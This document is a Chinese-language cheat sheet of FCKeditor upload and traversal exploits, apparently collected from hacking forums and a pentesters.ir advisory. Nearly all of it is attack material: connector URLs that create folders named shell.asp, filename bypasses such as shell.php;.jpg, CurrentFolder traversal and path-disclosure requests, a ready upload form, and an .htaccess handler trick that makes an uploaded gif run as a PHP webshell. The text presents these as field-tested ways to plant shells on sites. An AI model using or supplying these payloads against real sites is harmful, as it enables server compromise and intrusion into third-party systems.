FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=qing.asp後在/up_files/image/目錄下建立一個明文qing.asp的檔案夾。
2.5

a.aspx.a;.a.aspx.jpg..jpg

2.4.3
php的檔案名稱加個問號，成功上傳解析

/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
支援php的通殺，2.6.4和2.6.5測試未通過


fckeditor/editor/plugins/bbcode/_sample/sample.html  2.64
—————————————————————————————————————————————————————————————

2. Version 2.2 版本
Apache+linux 環境下在上傳檔案後面加個.突破！測試通過。
—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在處理PHP 上傳的地方並未對Media 類型進行上傳檔案類型的控制，導致使用者上傳任意檔案！將以下儲存為html檔案，修改action地址。
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
—————————————————————————————————————————————————————————————

4.FCKeditor 檔案上傳“.”變“_”底線的繞過方法
        很多時候上傳的檔案例如：shell.php.rar 或shell.php;.jpg 會變為shell_php;.jpg 這是新版FCK 的變化。
    4.1：提交shell.php+空格繞過
不過空格只支援win 系統 *nix 是不支援的[shell.php 和shell.php+空格是2 個不同的檔案 未測試。
    4.2：繼續上傳同名檔案可變為shell.php;(1).jpg 也可以建立一個檔案夾，只檢測了第一級的目錄，如果跳到二級目錄就不受限制。
—————————————————————————————————————————————————————————————

5. 突破建立檔案夾
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
—————————————————————————————————————————————————————————————

6. FCKeditor 中test 檔案的上傳地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
fckeditor/editor/filemanager/browser/default/frmupload.html
—————————————————————————————————————————————————————————————

7.常用上傳地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://inc.jxbsu.com/fckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 測試通過)
JSP 版：
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
注意紅色部分修改為FCKeditor 實際使用的指令碼語言，藍色部分可以自訂文
件夾名稱也可以利用../..目錄遍曆，紫色部分為實際網站地址。
—————————————————————————————————————————————————————————————

8.其他上傳地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多網站都已刪除_samples 目錄，可以試試。
FCKeditor/editor/fckeditor.html 不可以上傳檔案，可以點擊上傳圖片按鈕再選擇瀏覽伺服器即可跳轉至可上傳檔案頁。
—————————————————————————————————————————————————————————————

9.列目錄漏洞也可助找上傳地址
Version 2.4.1 測試通過
修改CurrentFolder 參數使用 ../../來進入不同的目錄
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根據返回的XML 資訊可以查看網站所有的目錄。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接瀏覽盤符：
JSP 版本：
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
—————————————————————————————————————————————————————————————

10.爆路徑漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
—————————————————————————————————————————————————————————————

11. FCKeditor 被動限制策略所導致的過濾不嚴問題
        影響版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述：
FCKeditor v2.4.3 中File 類別預設拒絕上傳類型：
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 <= 2.2 允許上傳asa、cer、php2、php4、inc、pwml、pht 尾碼的檔案上傳後它儲存的檔案直接用的$sFilePath = $sServerDir . $sFileName，而沒有使用$sExtension 為尾碼.直接導致在win 下在上傳檔案後面加個.來突破[未測試]!
        而在apache 下，因為"Apache 檔案名稱解析缺陷漏洞"也可以利用之，另建議其他上傳漏洞中定義TYPE 變數時使用File 類別來上傳檔案,根據FCKeditor 的代碼，其限制最為狹隘。
        在上傳時遇見可直接上傳指令檔固然很好，但有些版本可能無法直接上傳可以利用在檔案名稱後面加.點或空格繞過，也可以利用2003 解析漏洞建立xxx.asp檔案夾或者上傳xx.asp;.jpg!
—————————————————————————————————————————————————————————————

12.最古老的漏洞，Type檔案沒有限制！
        我接觸到的第一個fckeditor漏洞了。版本不詳，應該很古老了，因為程式對type=xxx 的類型沒有檢查。我們可以直接構造上傳把type=Image 改成Type=hsren 這樣就可以建立一個叫hsren的檔案夾，一個新類型，沒有任何限制，可以上傳任意指令碼！
—————————————————————————————————————————————————————————————

FCK編輯器jsp版本漏洞：
  <2.43

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F

上傳馬所在目錄

editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=../../&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
上傳shell的地址:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
跟版本有關係.並不是百分百成功. 測試成功幾個站.
不能通殺.很遺憾.
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
如果以上地址不行可以試試
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
FCKeditor/_samples/
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

In The Name Of GOD
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author  : pentesters.ir
[+] Website : PenTesters.IR
---------------------------------------------------------
1.建立一個htaccess檔案:
code:
<FilesMatch "_php.gif">
SetHandler application/x-httpd-php
</FilesMatch>

2.通過fc上傳該htaccess
http://www.xxxx.com /FCKeditor/editor/filemanager/upload/test.html
http://www.xxxx.com /FCKeditor/editor/filemanager/browser/default/connectors/test.html
----------------------------------------------------------------------------------------------
3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.
5.http://www.2cto.com /anything/shell_php.gif
6.Now shell is available from server.
---------------------------------------------------------

都懂的，利用htaccess使apache將_php.gif解析……
